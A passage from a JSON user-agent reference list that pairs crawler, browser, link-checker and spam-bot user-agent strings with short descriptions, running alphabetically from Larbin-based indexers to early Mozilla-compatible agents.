Metacarta.com (66.28.xx.xxx) robot\",\"ua\":\"larbin (samualt9@bigfoot.com)\"},{\"description\":\"Unknown robot from 66.230.140.xx (argon.oxeo.com)\",\"ua\":\"LARBIN-EXPERIMENTAL (efp@gmx.net)\"},{\"description\":\"Larbin indexer used by Mitsubishi Electric Research Labs\",\"ua\":\"larbin_2.1.1 larbin2.1.1@somewhere.com\"},{\"description\":\"Larbin indexer used as Compete.com crawler\",\"ua\":\"larbin_2.2.0 (crawl@compete.com)\"},{\"description\":\"Larbin indexer used as Inria robot\",\"ua\":\"larbin_2.2.1_de_Viennot (Laurent.Viennot@inria.fr)\"},{\"description\":\"Larbin indexer used as Kyoto University robot\",\"ua\":\"larbin_2.2.2 (sugayama@lab7.kuis.kyoto-u.ac.jp)\"},{\"description\":\"Larbin indexer used as Inria robot\",\"ua\":\"larbin_2.2.2_guillaume (guillaume@liafa.jussieu.fr)\"},{\"description\":\"Larbin indexer used by an unknown dsl.net client\",\"ua\":\"larbin_2.6.0 (larbin2.6.0@unspecified.mail)\"},{\"description\":\"Larbin indexer used by diff. IPs \\/ services\",\"ua\":\"larbin_2.6.1 (larbin2.6.1@unspecified.mail)\"},{\"description\":\"Larbin indexer used by National Institut of Informatics (NII\\/Japan)\",\"ua\":\"larbin_2.6.2 (hamasaki@grad.nii.ac.jp)\"},{\"description\":\"Larbin indexer used by diff. IPs\",\"ua\":\"larbin_2.6.2 (larbin2.6.2@unspecified.mail)\"},{\"description\":\"Larbin indexer used as robot by Georgia Institute of Technology http:\\/\\/www.gatech.edu\\/\",\"ua\":\"larbin_2.6.2 (listonATccDOTgatechDOTedu)\"},{\"description\":\"Larbin indexer used by Technical University of Crete\",\"ua\":\"larbin_2.6.2 (pimenas@systems.tuc.gr)\"},{\"description\":\"Larbin indexer used as Lemur Consulting robot\",\"ua\":\"larbin_2.6.2 (tom@lemurconsulting.com)\"},{\"description\":\"Larbin indexer used as robot via cloud9.net (168.100.192.xxx)\",\"ua\":\"larbin_2.6.2 (vitalbox1@hotmail.com)\"},{\"description\":\"Unknown robot from EPFL Lausanne Switzerland (128.178.155.1xx)\",\"ua\":\"larbin_2.6.3 (ltaa_web_crawler@groupes.epfl.ch)\"},{\"description\":\"Larbin indexer used by GenieKnows.com search\",\"ua\":\"larbin_2.6.3 (wgao@genieknows.com)\"},{\"description\":\"Larbin indexer used by Next Generation Information Retrieval (NGIR)\",\"ua\":\"larbin_2.6.3_for_(http:\\/\\/cosco.hiit.fi\\/search\\/) tsilande@hiit.fi\"},{\"description\":\"Larbin indexer used by CEA \\/ DCom Rechercher\",\"ua\":\"larbin_2.6_basileocaml (basile.starynkevitch@cea.fr)\"},{\"description\":\"Larbin indexer used as Inria robot\",\"ua\":\"larbin_devel (http:\\/\\/pauillac.inria.fr\\/~ailleret\\/prog\\/larbin\\/)\"},{\"description\":\"LawInfo - Lawyer and attorney directory\",\"ua\":\"lawinfo-crawler\\/Nutch-0.9-dev (Crawler for lawinfo.com pages; http:\\/\\/www.lawinfo.com; webmaster@lawinfo.com)\"},{\"description\":\"ROADS - Perl web based subject based gateway tool\",\"ua\":\"lc\\/$ROADS::Version libwww-perl\\/5.00\"},{\"description\":\"unknown robot via MTT.ca \\/ Aliant.ca\",\"ua\":\"lcabotAccept: *\\/*\"},{\"description\":\"LeapTag news reader and content discovery tool\",\"ua\":\"LeapTag\\/0.8.1.beta081.r3750 (compatible; Mozilla 4.0; MSIE 5.5; robot@yoriwa.com)\"},{\"description\":\"Linkexchange crawler\",\"ua\":\"LECodeChecker\\/3.0 libgetdoc\\/1.0\"},{\"description\":\"Leechget download manager\",\"ua\":\"LeechGet 200x (www.leechget.de)\"},{\"description\":\"Gseek.com (site is offline) robot\",\"ua\":\"LEIA\\/2.90\"},{\"description\":\"Gseek.com (site is offline) robot\",\"ua\":\"LEIA\\/3.01pr (LEIAcrawler; [SNIP])\"},{\"description\":\"Maybe logfile spamming for Lets crawl! search (Germany)\",\"ua\":\"LetsCrawl.com\\/1.0 +http:\\/\\/letscrawl.com\\/\"},{\"description\":\"Lexibot (exMataHari) search software\",\"ua\":\"LexiBot\\/1.00\"},{\"description\":\"Polaris mobile browser on LG LX 260 Sprint Rumor phone\",\"ua\":\"LG-LX260 POLARIS-LX260\\/2.0 MMP\\/2.0 Profile\\/MIDP-2.0 Configuration\\/CLDC-1.1\"},{\"description\":\"LG 8138 Mobile Phone browser\",\"ua\":\"LG\\/U8138\\/v1.0\"},{\"description\":\"About.com robot\",\"ua\":\"Libby_1.1\\/libwww-perl\\/5.47\"},{\"description\":\"libcurl's (multiprotocol file transfer library) standard user-agent name\",\"ua\":\"libcurl-agent\\/1.0\"},{\"description\":\"LibertyW search for mobile (France)\",\"ua\":\"LibertyW (+http:\\/\\/www.lw01.com)\"},{\"description\":\"Korea Telecom Search robot\",\"ua\":\"libWeb\\/clsHTTP -- hiongun@kt.co.kr\"},{\"description\":\"CMP United Media robot\",\"ua\":\"libwww-perl\\/5.41\"},{\"description\":\"SplatSearch robot (207.44.142.xx)\",\"ua\":\"libwww-perl\\/5.45\"},{\"description\":\"Alexa robot\",\"ua\":\"libwww-perl\\/5.48\"},{\"description\":\"diff. IPs \\/ services\",\"ua\":\"libwww-perl\\/5.50\"},{\"description\":\"Fast Search robot\",\"ua\":\"libwww-perl\\/5.52 FP\\/2.1\"},{\"description\":\"Fast Search robot\",\"ua\":\"libwww-perl\\/5.52 FP\\/4.0\"},{\"description\":\"diff. IPs \\/ services\",\"ua\":\"libwww-perl\\/5.53\"},{\"description\":\"Profile for You internet profiling (?)\",\"ua\":\"libwww-perl\\/5.63\"},{\"description\":\"unknown link checking from Wanadoo.fr (193.253.33.xxx)\",\"ua\":\"libwww-perl\\/5.64\"},{\"description\":\"Amidalla search engine robot (62.241.33.xx)\",\"ua\":\"libwww-perl\\/5.65\"},{\"description\":\"SplatSearch robot (72.36.210.xx)\",\"ua\":\"libwww-perl\\/5.800\"},{\"description\":\"Mediater Rechercher robot\",\"ua\":\"libwww\\/5.3.2\"},{\"description\":\"Liferea - Linux feed reader\",\"ua\":\"Liferea\\/0.x.x (Linux; en_US.UTF-8; http:\\/\\/liferea.sf.net\\/)\"},{\"description\":\"Liferea (Linux Feed Reader) news aggregator for Unix and Linux\",\"ua\":\"Liferea\\/1.x.x (Linux; es_ES.UTF-8; http:\\/\\/liferea.sf.net\\/)\"},{\"description\":\"Lightning Download manager\",\"ua\":\"LightningDownload\\/1.0beta2\"},{\"description\":\"Lightning Download manager\",\"ua\":\"LightningDownload\\/1.x.x\"},{\"description\":\"Lightning Download manager\",\"ua\":\"LightningDownload\\/1.x.x [Accelerated x]\"},{\"description\":\"Lijit blog search spider\",\"ua\":\"LijitSpider\\/Nutch-0.9 (Reports crawler; http:\\/\\/www.lijit.com\\/; info(a)lijit(d)com)\"},{\"description\":\"Some spam bot\",\"ua\":\"Lincoln State Web Browser\"},{\"description\":\"Link Valet online link checking\",\"ua\":\"Link Valet Online 1.x\"},{\"description\":\"Linkalarm link validation\",\"ua\":\"LinkAlarm\\/2.x\"},{\"description\":\"Linkbot Pro link checking software\",\"ua\":\"Linkbot\"},{\"description\":\"Rpsoft 2000 Site-Crawler\",\"ua\":\"linkbot\"},{\"description\":\"Linkbot Pro link checking software\",\"ua\":\"Linkbot x.0\"},{\"description\":\"Linkcheck - linkchecking tool for Unix\\/Linux\",\"ua\":\"LinkCheck (linkcheck@inter7.com http:\\/\\/www.inter7.com\\/linkcheck)\"},{\"description\":\"Linklint - Perl html link checker\",\"ua\":\"LinkLint-checkonly\\/2.x.x\"},{\"description\":\"Linklint - Perl html link checker\",\"ua\":\"LinkLint-spider\\/2.x.x\"},{\"description\":\"Linknz - The Kiwi Search Engine (New Zealand)\",\"ua\":\"linknzbot\"},{\"description\":\"Link-Pimp web directory link checking\",\"ua\":\"LinkPimpin v1.0\"},{\"description\":\"TafWeb link checking program\",\"ua\":\"LinkProver 2.1\"},{\"description\":\"Links text browser for Unix & OS\\/2\",\"ua\":\"Links (0.9x; Linux 2.4.7-10 i686)\"},{\"description\":\"Links text browser for Unix & OS\\/2\",\"ua\":\"Links (0.9xpre12; Linux 2.2.14-5.0 i686; 80x24)\"},{\"description\":\"Links text browser for Unix & OS\\/2\",\"ua\":\"Links (2.xpre7; Linux 2.4.18 i586; x)\"},{\"description\":\"Links SQL directory management program\",\"ua\":\"Links - http:\\/\\/gossamer-threads.com\\/scripts\\/links\\/\"},{\"description\":\"Links SQL directory management program\",\"ua\":\"Links 2.0 (http:\\/\\/gossamer-threads.com\\/scripts\\/links\\/)\"},{\"description\":\"Links SQL directory management program\",\"ua\":\"Links SQL (http:\\/\\/gossamer-threads.com\\/scripts\\/links-sql\\/)\"},{\"description\":\"Links4us ODP based directory link checking\",\"ua\":\"Links4US-Crawler, (+http:\\/\\/links4us.com\\/)\"},{\"description\":\"Shareware robot from Elsop.com (used by Indiafocus\\/Indiainfo and others)\",\"ua\":\"LinkScan\\/11.0beta2 UnixShareware robot from Elsop.com (used by Indiafocus\\/Indiainfo)\"},{\"description\":\"Shareware robot from Elsop.com (used by Indiafocus\\/Indiainfo and others)\",\"ua\":\"LinkScan\\/9.0g Unix\"},{\"description\":\"Shareware robot from Elsop.com\",\"ua\":\"LinkScan\\/x.x Unix\"},{\"description\":\"Linksmanager bookmark checking\",\"ua\":\"LinksManager.com (http:\\/\\/linksmanager.com\\/linkchecker.html)\"},{\"description\":\"LinkSonar (Japan) link checking tool\",\"ua\":\"LinkSonar\\/1.35\"},{\"description\":\"Left Side Software's LinkSweeper (ceased) bookmark utility\",\"ua\":\"LinkSweeper\\/1.x\"},{\"description\":\"Seventwentyfour link checking robot\",\"ua\":\"LinkWalker\"},{\"description\":\"link check 3 - Perl HTML link checker (from Perl for Web Site Management)\",\"ua\":\"link_check3.plx libwww-perl\\/5.65\"},{\"description\":\"Listbid.com \\/ Directnic.com link checking ?\",\"ua\":\"ListBidBot (freelance job spider http:\\/\\/listbid.com)<a href=http:\\/\\/listbid.com>Freelance<\\/a>\"},{\"description\":\"WKD Lab: LiveTrans - Online query and terminology translation service\",\"ua\":\"LiveTrans\\/Nutch-0.9 (maintainer: cobain at iis dot sinica dot edu dot tw; http:\\/\\/wkd.iis.sinica.edu.tw\\/LiveTrans\\/)\"},{\"description\":\"llaut robot - Universitat de les Illes Balears (Spain)\",\"ua\":\"Llaut\\/1.0 (http:\\/\\/mnm.uib.es\\/~gallir\\/llaut\\/bot.html)\"},{\"description\":\"E-Mail harvesting robot - same as ContactBot\",\"ua\":\"LMQueueBot\\/0.2\"},{\"description\":\"lmspider from Scansoft (192.133.61.xx) - Web text collector\",\"ua\":\"lmspider (lmspider@scansoft.com)\"},{\"description\":\"Lexis-Nexis robot\",\"ua\":\"LNSpiderguy\"},{\"description\":\"LocalBot company information collector\",\"ua\":\"LocalBot\\/1.0 ( http:\\/\\/www.localbot.co.uk\\/)\"},{\"description\":\"Local.com local search robot (216.52.252.xxx)\",\"ua\":\"LocalcomBot\\/1.2.x ( http:\\/\\/www.local.com\\/bot.htm)\"},{\"description\":\"Lockstep (website content protection tool) user agent\",\"ua\":\"Lockstep Spider\\/1.0\"},{\"description\":\"GlobalQueue spider (64.40.105.xxx)\",\"ua\":\"Look.com\"},{\"description\":\"Lotus Notes browser\",\"ua\":\"Lotus-Notes\\/4.5 ( Windows-NT )\"},{\"description\":\"IBM Lotus Discovery Server\",\"ua\":\"LotusDiscovery\\/x.0 (compatible; Mozilla 4.0; MSIE 4.01; Windows NT)\"},{\"description\":\"Everatom.com song lyrics search\",\"ua\":\"Lovel as 1.0 ( +http:\\/\\/www.everatom.com)\"},{\"description\":\"LTI - The Lemur Toolkit for Language Modeling and Information Retrieval via Yahoo\",\"ua\":\"LTI\\/LemurProject Nutch Spider\\/Nutch-1.0-dev (lti crawler for CMU; http:\\/\\/www.lti.cs.cmu.edu; changkuk at cmu dot edu)\"},{\"description\":\"LTI - The Lemur Toolkit for Language Modeling and Information Retrieval via Yahoo\",\"ua\":\"LTI\\/LemurProject Nutch Spider\\/Nutch-1.0-dev (Research spider using Nutch; http:\\/\\/www.lemurproject.org; mhoy@cs.cmu.edu)\"},{\"description\":\"Luchs.at (Linux Wiki) link checking\",\"ua\":\"luchs.at URL checker\"},{\"description\":\"Lunascape IE based browser (Japan)\",\"ua\":\"Lunascape\"},{\"description\":\"Ultimate Search \\/ Smartdesk (no website) robot\",\"ua\":\"lwp-trivial\\/1.32\"},{\"description\":\"Search4free robot\",\"ua\":\"lwp-trivial\\/1.34\"},{\"description\":\"Search4free robot\",\"ua\":\"lwp-trivial\\/1.34\"},{\"description\":\"Expert HTML online source viewer\",\"ua\":\"lwp-trivial\\/1.35\"},{\"description\":\"Expert HTML online source viewer\",\"ua\":\"lwp-trivial\\/1.35\"},{\"description\":\"Perl LWP:Collective module\",\"ua\":\"LWP::Simple\\/5.22\"},{\"description\":\"Perl LWP:Collective module\",\"ua\":\"LWP::Simple\\/5.36\"},{\"description\":\"Perl LWP:Collective module - Linkomatic robot\",\"ua\":\"LWP::Simple\\/5.48\"},{\"description\":\"Perl LWP:Collective module - secure-netz.de link checking (in conjunction w. libwww-perl\\/5.50)\",\"ua\":\"LWP::Simple\\/5.50\"},{\"description\":\"Perl LWP:Collective module - Inktomi (62.253.64.x) robot\",\"ua\":\"LWP::Simple\\/5.51\"},{\"description\":\"Perl LWP:Collective module - Only.com \",\"ua\":\"LWP::Simple\\/5.53\"},{\"description\":\"Perl LWP:Collective module\",\"ua\":\"LWP::Simple\\/5.63\"},{\"description\":\"ThePlanet\\/jaja-jak-globusy.com Google Adsense refferer spam bot from 70.85.116.* \\/ 70.84.128.xxx \\/ 70.85.193.xxx\",\"ua\":\"LWP::Simple\\/5.803\"},{\"description\":\"Lycos spider\",\"ua\":\"Lycos_Spider_(modspider)\"},{\"description\":\"Lycos spider\",\"ua\":\"Lycos_Spider_(T-Rex)\"},{\"description\":\"Bobcat - Text and Lynx based DOS browser\",\"ua\":\"Lynx\\/2-4-2 (Bobcat\\/0.5 [DOS] Jp Beta04)\"},{\"description\":\"Lynx 2.x text mode browser\",\"ua\":\"Lynx\\/2.6 libwww-FM\\/2.14\"},{\"description\":\"seebot.org online service - uses lynx browser for crawlers view of web pages\",\"ua\":\"Lynx\\/2.8 (;http:\\/\\/seebot.org)\"},{\"description\":\"Lynx 2.x text mode browser\",\"ua\":\"Lynx\\/2.8.3dev.9 libwww-FM\\/2.14 SSL-MM\\/1.4.1 OpenSSL\\/0.9.6\"},{\"description\":\"Lynx 2.x text mode browser used as robot via cogentco.com\",\"ua\":\"Lynx\\/2.8.4rel.1 libwww-FM\\/2.14 SSL-MM\\/1.4.1 OpenSSL\\/0.9.6c (human-guided@lerly.net)\"},{\"description\":\"Some spam bot\",\"ua\":\"Mac Finder 1.0.xx\"},{\"description\":\"UKWizz search robot\",\"ua\":\"Mackster( http:\\/\\/www.ukwizz.com )\"},{\"description\":\"Wind.it client user-agent ?\",\"ua\":\"Mag-Net\"},{\"description\":\"All Magic\\/Wap wml service for mobile devices\",\"ua\":\"MagicWML\\/1.0 (forcewml)\"},{\"description\":\"Magpie RSS - PHP RSS Parser\",\"ua\":\"MagpieRSS\\/0.7x (+http:\\/\\/magpierss.sf.net)\"},{\"description\":\"Mahiti.com India search crawler\",\"ua\":\"Mahiti.Com\\/Mahiti Crawler-1.0 (Mahiti.Com; http:\\/\\/mahiti.com ; mahiti.com)\"},{\"description\":\"Mail.ru search\",\"ua\":\"Mail.Ru\\/1.0\"},{\"description\":\"Unknown Bea robot\",\"ua\":\"mailto:webcraft@bea.com\"},{\"description\":\"SLI Systems mammoth robot\",\"ua\":\"mammoth\\/1.0 ( http:\\/\\/www.sli-systems.com\\/)\"},{\"description\":\"Looksmart robot\",\"ua\":\"MantraAgent\"},{\"description\":\"Map of the Internet visual search engine index robot\",\"ua\":\"MapoftheInternet.com ( http:\\/\\/MapoftheInternet.com)\"},{\"description\":\"Kolibri.de robot\",\"ua\":\"Mariner\\/5.1b [de] (Win95; I ;Kolibri gncwebbot)\"},{\"description\":\"Pilot Hitlist web site analysis\",\"ua\":\"Marketwave Hit List\"},{\"description\":\"Looksmart directory page analysis\",\"ua\":\"Martini\"},{\"description\":\"Looksmart directory page analysis\",\"ua\":\"MARTINI\"},{\"description\":\"Marvin Medhunt robot\",\"ua\":\"Marvin v0.3\"},{\"description\":\"Sagool search Japan robot\",\"ua\":\"MaSagool\\/1.0 (MaSagool; http:\\/\\/sagool.jp\\/; info@sagool.jp)\"},{\"description\":\"Mass Downloader download manager\",\"ua\":\"Mass Downloader 2.x\"},{\"description\":\"Masterseek (Scandinavia) Beta business search ?\",\"ua\":\"MasterSeek\"},{\"description\":\"Lexibot (exMataHari) search software\",\"ua\":\"Mata Hari\\/2.00 \"},{\"description\":\"Virgilio Italy robot (212.48.11.xxx) using Fast Enterprise Search\",\"ua\":\"Matrix S.p.A. - FAST Enterprise Crawler 6 (Unknown admin e-mail address)\"},{\"description\":\"Maxomo multimedia search robot\",\"ua\":\"maxomobot\\/dev-20051201 (maxomo; http:\\/\\/67.102.134.34:4047\\/MAXOMO\\/MAXOMObot.html; maxomobot@maxomo.com)\"},{\"description\":\"Unknown robot from McAfee Austria (80.123.144.xx)\",\"ua\":\"McBot\\/5.001 (windows; U; NT4.0; en-us)\"},{\"description\":\"MegaDownload files search robot\",\"ua\":\"MDbot\\/1.0 (+http:\\/\\/www.megadownload.net\\/bot.html)\"},{\"description\":\"Substitute for Windows Media Player\",\"ua\":\"Media Player Classic\"},{\"description\":\"Media Find crawler\",\"ua\":\"MediaCrawler-1.0 (Experimental)\"},{\"description\":\"Google AdSense robot\",\"ua\":\"Mediapartners-Google\\/2.1 ( http:\\/\\/www.googlebot.com\\/bot.html)\"},{\"description\":\"WWW.fi Media Search\",\"ua\":\"MediaSearch\\/0.1\"},{\"description\":\"Search UK robot\",\"ua\":\"MegaSheep v1.0 (www.searchuk.com internet sheep)\"},{\"description\":\"Megite web2.0 RSS and news service software\",\"ua\":\"Megite2.0 (http:\\/\\/www.megite.com)\"},{\"description\":\"Mercator crawler software (used by Altavista)\",\"ua\":\"Mercator-1.x\"},{\"description\":\"Mercator crawler software (used by Altavista)\",\"ua\":\"Mercator-2.0\"},{\"description\":\"Mercator crawler software (used by Altavista)\",\"ua\":\"Mercator-Scrub-1.1\"},{\"description\":\"MetaEuro.com Clustering Web Search Engine crawler\",\"ua\":\"Metaeuro Web Crawler\\/0.2 (MetaEuro Web Search Clustering Engine; http:\\/\\/www.metaeuro.com; crawler at metaeuro dot com)\"},{\"description\":\"MetaGer search robot (Germany)\",\"ua\":\"MetaGer-LinkChecker\"},{\"description\":\"MetaGer search robot (Germany)\",\"ua\":\"MetagerBot\\/0.8-dev (MetagerBot; http:\\/\\/metager.de;  )\"},{\"description\":\"MetaGer search robot (Germany)\",\"ua\":\"MetaGer_PreChecker0.1\"},{\"description\":\"Download Express download manager\",\"ua\":\"MetaProducts Download Express\\/1.x\"},{\"description\":\"Metaspinner search robot - Germany\",\"ua\":\"Metaspinner\\/0.01 (Metaspinner; http:\\/\\/www.meta-spinner.de\\/; support@meta-spinner.de\\/)\"},{\"description\":\"Metatagsdir.com directory index spider\",\"ua\":\"metatagsdir\\/0.7 (+http:\\/\\/metatagsdir.com\\/directory\\/)\"},{\"description\":\"Microsoft Foundation Class Library - i.e. used for e-mail harvesting from 68.154.96.xx (bellsouth.net)\",\"ua\":\"MFC Foundation Class Library 4.0\"},{\"description\":\"Microsoft.com user agent\",\"ua\":\"MFC_Tear_Sample\"},{\"description\":\"Advanced Site Crawler web site ripper and extractor\",\"ua\":\"MFHttpScan\"},{\"description\":\"GigaBaz Brainbot (Germany) robot (213.139.152.xx)\",\"ua\":\"MicroBaz\"},{\"description\":\"MS Office 2000 acting as WebDAV client\",\"ua\":\"Microsoft Data Access Internet Publishing Provider Cache Manager\"},{\"description\":\"MS Office 2000 acting as WebDAV client\",\"ua\":\"Microsoft Data Access Internet Publishing Provider DAV\"},{\"description\":\"Server probe for data access operations using MS Frontpage with OPTION header\",\"ua\":\"Microsoft Data Access Internet Publishing Provider Protocol Discovery\"},{\"description\":\"MS Office 2000 acting as WebDAV client\",\"ua\":\"Microsoft Data Access Internet Publishing Provider Protocol Discovery\"},{\"description\":\"Microsoft Log Parser text query tool\",\"ua\":\"Microsoft Log Parser 2.2\"},{\"description\":\"MS Small Business Server content indexer\",\"ua\":\"Microsoft Small Business Indexer\"},{\"description\":\"user agent looks for form-mail components (spam-bot)\",\"ua\":\"Microsoft URL Control - 6.00.8xxx\"},{\"description\":\"Unknown robot from Microsoft.com (131.107.163.xx)\",\"ua\":\"MicrosoftPrototypeCrawler (How's my crawling? mailto:newbiecrawler@hotmail.com)\"},{\"description\":\"Secure Computing SmartFilterWhere  \\/ Bess web filter (192.55.214.xx)\",\"ua\":\"Microsoft_Internet_Explorer_5.00.438 (fjones@isd.net)\"},{\"description\":\"xpc-mii.net HTTP server message\",\"ua\":\"MIIxpc\\/4.2\"},{\"description\":\"The Mindjet blog MindManager category\",\"ua\":\"Mindjet MindManager\"},{\"description\":\"unknown robot via Korea Telecom (211.218.xxx.xxx)\",\"ua\":\"minibot\"},{\"description\":\"mini- Rank website popularity tool\",\"ua\":\"miniRank\\/1.6 (Website ranking; www.minirank.com; robot)\"},{\"description\":\"unknown robot via nec.co.jp Telecom (210.143.35.xx)\",\"ua\":\"MiracleAlphaTest\"},{\"description\":\"Some spam bot\",\"ua\":\"Missauga Locate 1.0.0\"},{\"description\":\"Some spam bot\",\"ua\":\"Missigua Locator 1.9\"},{\"description\":\"Some spam bot\",\"ua\":\"Missouri College Browse\"},{\"description\":\"Mister PiX picture finding software\",\"ua\":\"Mister Pix II 2.02a\"},{\"description\":\"Mister PiX  picture finding software\",\"ua\":\"Mister PiX version.dll\"},{\"description\":\"Misterbot search France robot\",\"ua\":\"Misterbot-Nutch\\/0.7.1 (Misterbot-Nutch; http:\\/\\/www.misterbot.fr; admin@misterbot.fr)\"},{\"description\":\"Miva \\/ ex Findwhat.com search robot (66.150.55.2xx)\",\"ua\":\"Miva (AlgoFeedback@miva.com)\"},{\"description\":\"Some spam bot from Jasmine Internet - Bangkok (203.147.0.xx)\",\"ua\":\"Mizzu Labs 2.2\"},{\"description\":\"Majestic-12 DSearch MJ12bot (Experimental distributed crawler)\",\"ua\":\"MJ12bot\\/vx.x.x (http:\\/\\/majestic12.co.uk\\/bot.php?+)\"},{\"description\":\"Majestic-12 DSearch MJ12bot (Experimental distributed crawler)\",\"ua\":\"MJ12bot\\/vx.x.x (http:\\/\\/www.majestic12.co.uk\\/projects\\/dsearch\\/mj12bot.php)\"},{\"description\":\"MJB SEO Club MJBot\",\"ua\":\"MJBot (SEO assessment)\"},{\"description\":\"MLBot - metadata labs web crawler for building a media index (beta)\",\"ua\":\"MLBot (www.metadatalabs.com)\"},{\"description\":\"mnoGoSearch (ex UdmSearch) software robot\",\"ua\":\"MnogoSearch\\/3.2.xx\"},{\"description\":\"Unknown bad bot - maybe guestbook spamming or email harvesting\",\"ua\":\"Mo College 1.9\"},{\"description\":\"Goo Japan \\/ Inktomi robot (210.173.179.xx)\",\"ua\":\"moget\\/x.x (moget@goo.ne.jp)\"},{\"description\":\"Goo Japan \\/ Inktomi robot (210.173.179.xx)\",\"ua\":\"mogimogi\\/1.0\"},{\"description\":\"moiNag - net.art generator\",\"ua\":\"moiNAG 0.02\"},{\"description\":\"Mojeek Search Preview robot (217.155.205.xx)\",\"ua\":\"MojeekBot\\/0.x (archi; http:\\/\\/www.mojeek.com\\/bot.html)\"},{\"description\":\"Greasemonkey Firefox extension\",\"ua\":\"monkeyagent\"},{\"description\":\"Moonbrowser - IE based browser (Japan)\",\"ua\":\"MoonBrowser (version 0.41 Beta4)\"},{\"description\":\"Moreover \\/ FeedDirect RSS feed robot\",\"ua\":\"Moreoverbot\\/x.00 (+http:\\/\\/www.moreover.com)\"},{\"description\":\"MixCat robot s. also Felix\",\"ua\":\"Morris - Mixcat Crawler ( http:\\/\\/mixcat.com)\"},{\"description\":\"Robots.txt online checker\",\"ua\":\"Motoricerca-Robots.txt-Checker\\/1.0 (http:\\/\\/tool.motoricerca.info\\/robots-checker.phtml)\"},{\"description\":\"Obigo WAP browser for mobiles on Motorola V3\",\"ua\":\"Motorola-V3m Obigo\"},{\"description\":\"MPRM Group Ltd. Spider Monkey robot\",\"ua\":\"Mouse-House\\/7.4 (spider_monkey spider info at www.mobrien.com\\/sm.shtml)\"},{\"description\":\"Movable Type  web-based personal publishing system\",\"ua\":\"MovableType\\/x.x\"},{\"description\":\"Mozdex Open search engine spider (65.98.100.2xx)\",\"ua\":\"mozDex\\/0.xx-dev (mozDex; http:\\/\\/www.mozdex.com\\/en\\/bot.html; spider@mozdex.com)\"},{\"description\":\"Bell Nexxia \\/ Sympatico Canada user robot & spoofed referer from diff. IPs\",\"ua\":\"Mozi!\"},{\"description\":\"Unknown robots from diff. IPs\",\"ua\":\"Mozilla\"},{\"description\":\"libwhisker - HTTP client and utility - Perl library\",\"ua\":\"Mozilla (libwhisker\\/2.4)\"},{\"description\":\"http:\\/\\/www.somewhere.com robot\",\"ua\":\"Mozilla (Mozilla@somewhere.com)\"},{\"description\":\"BotSeer search engine for robots.txt\",\"ua\":\"Mozilla 4.0(compatible; BotSeer\\/1.0; +http:\\/\\/botseer.ist.psu.edu)\"},{\"description\":\"PDA Pocket IE 2.x Windows CE\",\"ua\":\"Mozilla\\/1.1 (compatible; MSPIE 2.0; Windows CE)\"},{\"description\":\"Oregano browser for RISC OS\",\"ua\":\"Mozilla\\/1.10 [en] (Compatible; RISC OS 3.70; Oregano 1.10)\"},{\"description\":\"IE 2.x WinNT\",\"ua\":\"Mozilla\\/1.22 (compatible; MSIE 2.0d; Windows NT)\"},{\"description\":\"EudoraWeb 2.0 browser (Eudora Internet Suite) for PalmOS\",\"ua\":\"Mozilla\\/1.22 (compatible; MSIE 5.01; PalmOS 3.0) EudoraWeb 2\"},{\"description\":\"Dummy user agent - i.e. used by Namo Web Editor\",\"ua\":\"Mozilla\\/2.0\"},{\"description\":\"AOL Mac\",\"ua\":\"Mozilla\\/2.0 (compatible; AOL 3.0; Mac_PowerPC)\"},{\"description\":\"AOL Win 3.x\",\"ua\":\"Mozilla\\/2.0 (Compatible; AOL-IWENG 3.0; Win16)\"},{\"description\":\"Ask Jeeves \\/Teoma robot\",\"ua\":\"Mozilla\\/2.0 (compatible; Ask Jeeves)\"},{\"description\":\"Ask Jeeves \\/Teoma robot\",\"ua\":\"Mozilla\\/2.0 (compatible; Ask Jeeves\\/Teoma)\"},{\"description\":\"Ask Jeeves \\/Teoma robot\",\"ua\":\"Mozilla\\/2.0 (compatible; Ask Jeeves\\/Teoma; http:\\/\\/about.ask.com\\/en\\/docs\\/about\\/webmasters.shtml) \"},{\"description\":\"Ask Jeeves \\/Teoma robot\",\"ua\":\"Mozilla\\/2.0 (compatible; Ask Jeeves\\/Teoma; http:\\/\\/sp.ask.com\\/docs\\/about\\/tech_crawling.html)\"},{\"description\":\"Direct Hit Robot\",\"ua\":\"Mozilla\\/2.0 (compatible; EZResult -- Internet Search Engine)\"},{\"description\":\"MS Frontpage x.x web editor\",\"ua\":\"Mozilla\\/2.0 (compatible; MS FrontPage x.0)\"},{\"description\":\"IE 2.x Mac Power PC\",\"ua\":\"Mozilla\\/2.0 (compatible; MSIE 2.1; Mac_PowerPC)\"},{\"description\":\"IE 3.x WinNT\",\"ua\":\"Mozilla\\/2.0 (compatible; MSIE 3.02; Update a; AK; Windows NT)\"},{\"description\":\"IE 3.x AOL Win95\",\"ua\":\"Mozilla\\/2.0 (compatible; MSIE 3.02; Update a; AOL 3.0; Windows 95)\"},{\"description\":\"IE 3.x Win95\",\"ua\":\"Mozilla\\/2.0 (compatible; MSIE 3.0; AK; Windows 95)\"},{\"description\":\"IE 3.x Win 3.1\",\"ua\":\"Mozilla\\/2.0 (compatible; MSIE 3.0; Windows 3.1)\"},{\"description\":\"IE 3.x WinXP\",\"ua\":\"Mozilla\\/2.0 (compatible; MSIE 3.0B; Win32)\"},{\"description\":\"Borland Delphi .OCX component used by WebCollector email harverster\",\"ua\":\"Mozilla\\/2.0 (compatible; NEWT ActiveX; Win32)\"},{\"description\":\"Thunderstone's Webinator Web indexing program\",\"ua\":\"Mozilla\\/2.0 (compatible; T-H-U-N-D-E-R-S-T-O-N-E)\"},{\"description\":\"Check&Get bookmark and link checking tool\",\"ua\":\"Mozilla\\/2.0 compatible; Check&Get 1.1x (Windows 98)\"},{\"description\":\"Netscape 2.x Win3.x International\",\"ua\":\"Mozilla\\/2.01 (Win16; I)\"},{\"description\":\"Netscape 2.x Gold Win95\",\"ua\":\"Mozilla\\/2.02Gold (Win95; I)\"},{\"description\":\"Faked user agent for diff. purposes i.e.: - some download manager - E-mail harvesting\",\"ua\":\"Mozilla\\/3.0 (compatible)\"},{\"description\":\"AvantGo PDA browser\",\"ua\":\"Mozilla\\/3.0 (compatible; AvantGo 3.2)\"},{\"description\":\"Searchhippo robot\",\"ua\":\"Mozilla\\/3.0 (compatible; Fluffy the spider; http:\\/\\/www.searchhippo.com\\/; info@searchhippo.com)\"},{\"description\":\"HP Web PrintSmart (discontinued) - web page printing software\",\"ua\":\"Mozilla\\/3.0 (compatible; HP Web PrintSmart 04b0 1.0.1.34)\"},{\"description\":\"Internet Direct Library for Borland (often used as e-mail address collector and mass mailing tool)\",\"ua\":\"Mozilla\\/3.0 (compatible; Indy Library)\"},{\"description\":\"Outertechs Linkman bookmark tool\",\"ua\":\"Mozilla\\/3.0 (compatible; Linkman)\"},{\"description\":\"Euroferret 